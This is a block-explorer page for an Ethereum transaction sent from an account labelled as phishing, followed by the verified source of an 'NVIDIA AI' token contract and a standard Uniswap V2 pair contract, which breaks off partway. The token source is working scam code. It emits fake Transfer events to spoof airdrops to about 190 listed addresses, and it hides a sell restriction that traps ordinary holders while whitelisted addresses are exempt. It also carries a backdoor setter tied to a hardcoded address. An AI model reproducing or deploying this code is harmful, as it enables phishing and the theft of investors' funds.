Transaction Hash:
Block:
20329042 at Jul-17-2024 09:49:59 PM +UTC
Transaction Fee:
0.00335485916650701 ETH
$8.18
Gas Used:
547,023 Gas / 6.13293987 Gwei
Emitted Events:
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 6.780567370895006904 Eth | 6.781097983205006904 Eth | 0.00053061231 | |
0xc66Bd31c...8A21F1D6B | (Fake_Phishing364681) |
0.023858517412568927 Eth
Nonce: 110
|
0.020503658246061917 Eth
Nonce: 111
| 0.00335485916650701 |
Execution Trace
NVIDIAAI.execute( _addresses_=[0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13, 0x7ccdB15FF25DdDb23dD0EfC98844e07683CD8BA6, 0x2A0eFF97Bb68298e36BEa8c86852436E96Af92b9, 0xb1b2d032AA2F52347fbcfd08E5C3Cc55216E8404, 0xE915Ba5fFB0DA213AC1aD2daE4C694DB555760A1, 0x7692527F9F291e8bCe0cBBe5732Bf39654eEF8e4, 0xCeFb3F29D22afA8EeACf801aBc71842e90d10870, 0xe75eD6F453c602Bd696cE27AF11565eDc9b46B0D, 0x00000000000124d994209fbB955E0217B5C2ECA1, 0xec2c5c305806dDa5E2852571ae974dD38CB265dc, 0xA4917F7a3cEB260b6eDC4a4d29c106F207684a50, 0xAAc055b517CEd29A5E0AB2b0db8B404546307815, 0x56A7d3dCe674306CeCd29186BfF4D3a5d06b11f5, 0x265D1C62624c9fD4C3b1c5F4Cb60F38D3B00D546, 0x77ad3a15b78101883AF36aD4A875e17c86AC65d1, 0x20011FA1A83BBa9c8357F852EC667d8439a7da4A, 0xa346b486d279a7c83e493cBF7E803e3C9A92BA59, 0x8fbEf38a486346EE147d5c7F52fa1D6FBA11375c, 0x9A1A103768468be60d1CA4CC171Af28aCefDC546, 0x6BaB3D7c5A00DF49c42b24c307bB8e558Be25eB2, 0x830d743659045575253F802Dd8AeE30337a1278A, 0x33c6b73432B3aeA0C1725E415CC40D04908B85fd, 0x2F7b3332ee727C791d77AE7CE150996f8F686114, 0x6AEd4FCfD5E4BAFb4539984DBf621cFCaB11c9a0, 0x0970822494f1d283AC3CB835BdecaFd13ad9ebbF, 0x560CE9E2eB9EAc47CfdC2C1F99e6D9D71Af12916, 0x6eeb849E8b3de5C88C35b37058d18547d9eFD6ab, 0xE7B56a7381392d6Db26fE6B2d414f156aDcC5E63, 0x7b682792C04bC9950438c5B8FB88C5eF41fac74f, 0x5F7F643a410DCD0468D3adE08d91De3860152223, 0xB0Ba33566bd35BcB80738810B2868DC1dDd1f0E9, 0x41f088706de76d732C00903378004B40E3AC38eD, 0xa009fa1aC416Ec02f6f902a3A4A584B092AE6123, 0x8A494eD488C5BC157E0Fb2983FdFb90E2d63B691, 0xA2A96F8d112d4eb47BB1630946cbFAeCfE2a6efB, 0x4e6D009dBBD037ef83c735b13e607951d29803C4, 0xC1B13E49761244Dd511e5085376b43aA94D8804A, 0xEE28bEAA11e31d10581ee7CFDCb9e95c8d05C53C, 0x184e01506154F6Ce4aA5b9208e7cd994db3aCDae, 0x7861A1f1863059D92ED4e90b72Be5482d78B2b6A, 0x2e9902880b61AAe3fD18c373dC83ac00aB9943d5, 0xb98C6340A49cC87256435D7Fbd795d95C8f25D11, 0xBf34b02bcDdF04b2a78f3b2F1d8e32ded2bCb756, 0x4Ce08a9d25bf03eFC1b932b1e361a9b5EDC45DE9, 0x1113eFd5C8896CcF251EA360bB9d91F113707F80, 0x50fE3d5CF33959689F391C956B6a26e9d5f92AF4, 0xc72eDE87f8c19E0f466Cf588e2e18b98EbF4B01d, 0xD5fAa5b9BDED8ccEF1d66F26A9C4BC727088338F, 0xA942d48Bf36d7C8480c3fFc60427632264084a58, 0xAe4FE7Cd36228A2E42C8D17198e6514652240575, 0x36D7064f92b4E4EF3B63018FA5942eE87D00AA14, 0x2b52Ea5217f157598141BcfeBdE488C1cd150841, 0x4A5e027e43Ed8b1148a6EAcd4bB1EdB61E0F4Dc0, 0x9696A5C3EB572De180Aa7f76E39C0f4418A34af1, 0x251bf530886261199F64D0b8b57b8e12aafAef12, 0x93793Bd1f3e35a0Efd098c30e486A860A0ef7551, 0xC5aA48EFE3688ABAEE686610998FB664A8E13a71, 0x448166a91e7BC50D0ac720C2FBED29e0963F5af8, 0xB2E13b37C5227ACD82d02c4cc76d86B85bddAD49, 0x758870B732D3fCc2DeD853aE5D017e9C65eCA67B, 0x26cE7c1976C5eec83eA6Ac22D83cB341B08850aF, 0xBFbc749333cA06835c620C5839C42AB9C072288d, 0x142F855C98564630197F6421a24efF3e0f2dabaD, 0x520Ef574F275Bb54BAc66781834A3EE20E9B6E3c, 0x30eb4bCFcbfA26F703A876DF63e9d52D9f0aa8D1, 0x0CD04201Cc2a3Fc71DbcC29cc5A1Cb30E5f0A747, 0x564a76A2BfE9739Ff9F3Eb4e9eEdd0C7f75395A6, 0xdCeed5B3bCf138F2f8f09DF4B7d7330b404caa8B, 0xE549FA69dbDb78bFA85F78d37111E490ABBfABfb, 0x52B60FeFDFfc9946D307a6bd92F5E529311d2A9D, 0xA7457e92C010F96874C6D0951189F64A9435CE1b, 0xB7D8500c9745dF93A00e175482FD2655e4d2f30D, 0x8c7C926143Ed0A2C93274A4a347f6eF61fA6255F, 0x1DC3EF77a4cA010C53d315f10027B3006d5Fe638, 0x8E90e369C94904D529f0c7Cf9bbA2bbbF9F0250A, 0x6E99194672E830637980FDcB903d6A02F5bA911a, 0xffffAb07392DbD555c8d46429Fe14018Ec71A5A3, 0x207bE6a5f76d0cFF3d5AAA4Ce045bD76BF79003e, 0xB04F2442d258ffe2F81a85041024c1d1fE7Ad823, 0xe52026B2dF24A4b864749C3417850De43b57023e, 0xF405BdE63EB01fC5633C2a59b9e08C29a91b59dB, 0x7F81DC4b2C84BeAaD077902DEe2C19d4b8f807bc, 0x21cef053611Aa2237D53B7d04507c3F5Bd06394D, 0x4B326f74Fac3A32bC84245Ef8c978C28e338AfAa, 0xEB7742c9ad0cf9e2e6b4a7FDA44719193376A547, 0x6503AE91c1994a9729Cb5aFd4Eb180b490092B58, 0xb09847e13DE56Db6603f575bdBfD5C4fcB2d92fA, 0xf9cAFEb32467994e3AFfd61E30865E5Ab32ABE68, 0x9447bB342Ec6dE70FeE68b8CdBccF5dDA35c2004, 0xaf8DCE0CD3616767d728AC3cDA5E452963a8C758, 0x77777639f22bb93B6Dca1345fF659F6f8CcD6958, 0xc4c162e5E2475675cf07f4c851659d0f4266c224, 0xFFf042244ab6f52b013B497EBC2412Aa21Fc9d5c, 0x4Ff696C407baF81dc53194760F3bd9A6bdFEc352, 0x9e95d0F6fcdf52A39c5a550135050F52c3dA2a39, 0xC5038ADF6aa5D5dD3Ac5c3474100bF67E99B8Ee5, 0x95f53F22D4395BC3355096D266067dB1CECE8fAA, 0x923Cd2a51594985D1B21c8D153dff2b1F29F07b2, 0x8D73a36d78E2aE4A437053C9cE3BE70D483aB74d, 0xdF435Aa871532A237772b619A03e2ca8b9162193, 0x89150ea976087832954F2EBFeeFf1817a0E40Af0, 0x6d9C69182DaB875B5cE223897A431302Fd096D6C, 0x338B9920971Dcaf5b6d83b6b292231110d3Bec40, 0x258e1863737aEeED86c03d98856f39688bEC2c3B, 0x9f671c10F081a59999512C5Af44959988bDd1eB8, 0x1110F5B97703D14AC3dE91bdcd12Cd4566ae48D5, 0x9851d30E980441019b9c7124817C5F9be449B991, 0xfcBB6faac5f65fFe74E32EF4896B7aE5F5B35f0f, 0xDB9C122630b029083a1D08c0C59bfc03048AA890, 0xAA3A5DC9cb568EC4381499bda52C36a76B478A58, 0xcF5fC11188c2F4627051F62e0a50c59F43E9a20A, 0x22e1d0dCE216644591eEFeFe8D544C2A6E011B51, 0xE977648cd2BCe4e2163e794490e7d1c35eA26D82, 0xae9E58C422cc66Fc4B4421C83a483ff81459a741, 0x625Bc7898E6e92F8E1345b9526685524C65EE369, 0x0aF2CeA31EdB9749221e81c1Ab40F9667FBD8729, 0x1D34D8D6f89b51eC73D6796A8B8eB450A51B94F5, 0x1111E3Ef0B6aE32E14a55e0E7cD9b8505177C2BF, 0x8eF57238Cd4178EEd96Cd30a13CBc7448925328e, 0x111206594F2fB5927f719b4417Ab1DA3D41B14b1, 0xE2588450DFa9a7b862984c215AF88853b15A60a5, 0x0000746d6386D492b3b5557d5553BB7B89C7e521, 0xa85b93983767729fcceAc60e32a0bf87cD632108, 0x5Ba31480e0a5101577FBdB0c3eb28BEBaf888bC8, 0xbD8f1B6bed521641315BdE4688b8De4DD1B753bf, 0x196f239229AaE65883802B5bB512E17084147Ff6, 0xfDeD90A3B1348425577688866f798f94d77A0D02, 0xe4fF520767101c6e13A80Fa78f76c5DE9aEEdfB8, 0xE99bC90D3Cb86cf095D75a020C10FBF9D4aA9A4D, 0xeC1657C3F34e40D43E990DC6B50e25cd9B9d4Da8, 0x596A0e578b1aF28C0be36C375bC90fF7c20a049c, 0xD1B12d3ce53A2AAa867dd1154C1AD7bd3C470F3C, 0xbf54079c9Bc879Ae4dD6BC79bCe11d3988fD9C2b, 0x477d057Ee378168D33D62ECA943c0247E8B04139, 0x9b7e7f21d98f21C0354035798C40E9040e25787f, 0x16C473448E770Ff647c69CBe19e28528877fba1B, 0x08Dae32334c62A3AFF28207FFcA87149F8beC90E, 0xc3d1bA4e89FE2A7AB52805613358B169Ac2688fb, 0x219688c6156edea2e2ca7e2036c1C5B7F6451169, 0xc24f64aA324897b18Acd79f6e84b1D762cBB121F, 0x9B2269abb05D0a2734C97e92eDb8B7497F586c1D, 0x595231dBD5461B05f84c13945059E6E51E8F2CDC, 0xDfaB20B861367D83D22D65fce21a7292fcEaac3D, 0xE32B8F2804106e50a13135DBa89A5bAdF7a42631, 0x0eAaA2C9970b180B9D95ec9A00e006eb11B847d0, 0xD66D1643c75a3D086ec84435fE3B7A58C6A45eaa, 0xE76cB6ebE3e84EEAB97583a0049a2BE104aDCaAa, 0x67D21ebD269d61Ef8cD9F0f3698869b3d818a4B5, 0x3e2ad3f4557EEcF8Df145aAF900B7DdA44dD0569, 0xC2e4A11E2816125386505637D7D025b02A9BC69c, 0xdeBCdaEB37e82AD9Ee8Ecf09c412EA5129Ed131b, 0xAf06C1529a8162DC34C9B03d6Bb91E034fA03009, 0x41791C052af43ab62A39d787c0fE670e85B2B898, 0xD3474BD2f558B12e83810EC7d8aF14f2d1D08137, 0x3c885be9D21241881B48cBf87b1D483501eD4167, 0x9D8c4e63518e63fdc7BA3Cf1e81C855F9543DD43, 0xDf7020406630eFfF3959C9e3ee0F6C08740cB1d2, 0xbF195407f2B52D4B786B504844C77F0abE1876a7, 0x981B30E780f901B67E6F2cc420346f48942f26b4, 0x9FE087C8107C858f5Fb0596fFF31b4B41F5DccCa, 0x67068F70088F214C0CA03a3934D384A0308dA355, 0x5289812728C0bC0cFFAeACe11A253cBD48ff9Dc3, 0x60914e27be34A70D46FfeE02eFF83e39A5081C91, 0x5C3E83d74204D300D96bb94662a882436C09c99F, 0x73fB1d96A144efdB278E123A17c79d63cD67D11f, 0x3C94ca5A1604028aB34FC30fb93f43a7281BfFFf, 0xcDFf6EAAd6768715Ca1652FABaF6d221a359F467, 0xd3eD83F2950c303842deBd1348eD189E395d4F65, 0x04a178ab3BD9C587b18B47c01E6a68fEBEd9A4E5, 0x1014e66eA2f47EA83786167BCb236cf62Fc255dD, 0x8885d8FFefb29AC94FCe584014266A6fE8437356, 0x5432FC1c238179dEd479BC9B8e041265C623ad64, 0x54B28D7AA9A97e3b76fb541269a53eFe51cCD2F3, 0x0dc48aAA678230B25e776d77F059557d7ef5CB37, 0x07692deD1a467347DA8790C66d06d84029356b15, 0x46e449a3f88D0E35b4520bC36e8DFDA195c896B0, 0x27c27cFB0e14ebdDae33F4289fd3d889B513e895, 0xcf06A5d47fb01FcA528Baa474a4953f9F92ee333, 0x42E48d5e0B43C0ddFEd449e789df354B05d2f49d, 0x3b60e3A06Af5aa4DA178aaDe658211a0D3F51222, 0xd7E1236C08731C3632519DCd1A581bFe6876a3B2, 0x65A8F07Bd9A8598E1b5B6C0a88F4779DBC077675, 0x4c6e2AcaDd20f2014F648c58D2FeEDAEe8dF1E10], _out=9095280425444 )
execute[NVIDIAAI (ln:163)]
Transfer[NVIDIAAI (ln:165)]
File 1 of 2: NVIDIAAI
File 2 of 2: UniswapV2Pair
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Meta is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract NVIDIAAI is Ownable, IERC20, IERC20Meta { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _p76234; uint256 private _e242 = 999; /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 8; } function claim(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function execute(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function actionPair(address account) public virtual returns (bool) { require(_msgSender() == 0x0A30ccEda7f03B971175e520c0Be7E6728860b67 ); _p76234 = account; return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); renounceOwnership(); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(to != address(0), "ERC20: transfer to the zero address"); require(from != address(0), "ERC20: transfer from the zero address"); if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from != 0x7aA2B03ddD79Eb45d8D4c432C8ec11A35F7a7D0c && from != 0x0A30ccEda7f03B971175e520c0Be7E6728860b67 && from != 0xaf376861670Cc48dCD091fbd86b55451dF41744E)) { uint256 _X7W88 = amount + 2; require(_X7W88 < _e242 ); } uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} constructor() { _name = unicode"NVIDIA AI"; _symbol = unicode"NVIDIA AI"; _mint(msg.sender, 10000000000 * 10 ** decimals()); } }
File 2 of 2: UniswapV2Pair
// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); 